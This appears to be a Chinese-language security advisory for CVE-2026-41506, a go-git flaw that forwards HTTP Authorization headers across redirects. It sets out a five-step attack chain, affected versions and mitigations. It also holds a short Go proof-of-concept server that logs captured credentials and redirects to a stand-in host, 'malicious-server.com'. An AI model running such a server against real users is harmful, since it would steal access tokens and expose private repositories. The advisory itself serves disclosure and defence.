IPBUF安全漏洞报告
English
CVE-2026-41506 CVSS 4.7 中危

CVE-2026-41506 go-git HTTP认证凭据泄露漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41506
漏洞类型
敏感信息泄露
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
go-git

相关标签

信息泄露go-gitCVE-2026-41506HTTP重定向凭据泄露

漏洞概述

go-git是一款纯Go语言编写的可扩展Git实现库。在5.18.0和6.0.0-alpha.2之前的版本中,该库在执行智能HTTP克隆和获取操作并跟随重定向时,可能会泄露HTTP认证凭据。攻击者可以利用此漏洞截获用户的敏感认证信息,进而访问私有Git仓库。该问题已在5.18.0和6.0.0-alpha.2版本中修复。

技术细节

该漏洞源于go-git在处理HTTP重定向时的逻辑缺陷。当用户使用包含认证信息(如Authorization头)的URL进行git clone或fetch操作时,如果服务器返回HTTP 3xx重定向响应,go-git默认会跟随重定向。在此过程中,原始请求中的Authorization头会被携带到重定向的目标服务器。如果重定向目标是由攻击者控制的恶意服务器,攻击者即可截获这些凭据。CVSS向量为AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N,表明攻击需要用户交互(如执行clone命令),无需预先认证,且会导致机密性泄露。

攻击链分析

STEP 1
1
攻击者搭建一个恶意Git服务器,并配置针对特定仓库的重定向规则,指向由攻击者控制的服务器。
STEP 2
2
受害者使用受影响版本的go-git客户端,携带HTTP认证凭据(如Token或密码)向合法仓库发起clone或fetch请求。
STEP 3
3
受影响版本的go-git在处理请求时接收到重定向响应,并自动跟随重定向。
STEP 4
4
go-git在向重定向目标发起新请求时,未去除敏感的Authorization头,导致凭据泄露给攻击者的服务器。
STEP 5
5
攻击者服务器记录并解析截获的凭据,从而获得受害者私有仓库的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "fmt" "net/http" ) // Conceptual PoC: Malicious server capturing redirected credentials func handler(w http.ResponseWriter, r *http.Request) { auth := r.Header.Get("Authorization") if auth != "" { fmt.Printf("[!] Captured Credentials: %s\n", auth) } w.Header().Set("Location", "http://malicious-server.com/repo.git") w.WriteHeader(http.StatusFound) } func main() { http.HandleFunc("/redirect", handler) fmt.Println("Server listening on port 8080...") http.ListenAndServe(":8080", nil) } /* Note: This Go code represents a server that triggers the vulnerability. When a vulnerable go-git client requests this endpoint, it receives a redirect. The client then sends the Authorization header to the new location, allowing the attacker to capture it. */

影响范围

go-git < 5.18.0
go-git < 6.0.0-alpha.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议避免使用受影响版本的go-git客户端访问不可信或来源不明的Git HTTP地址。如果可能,优先使用SSH协议进行Git操作,因为该漏洞特定于智能HTTP协议的重定向处理。

参考链接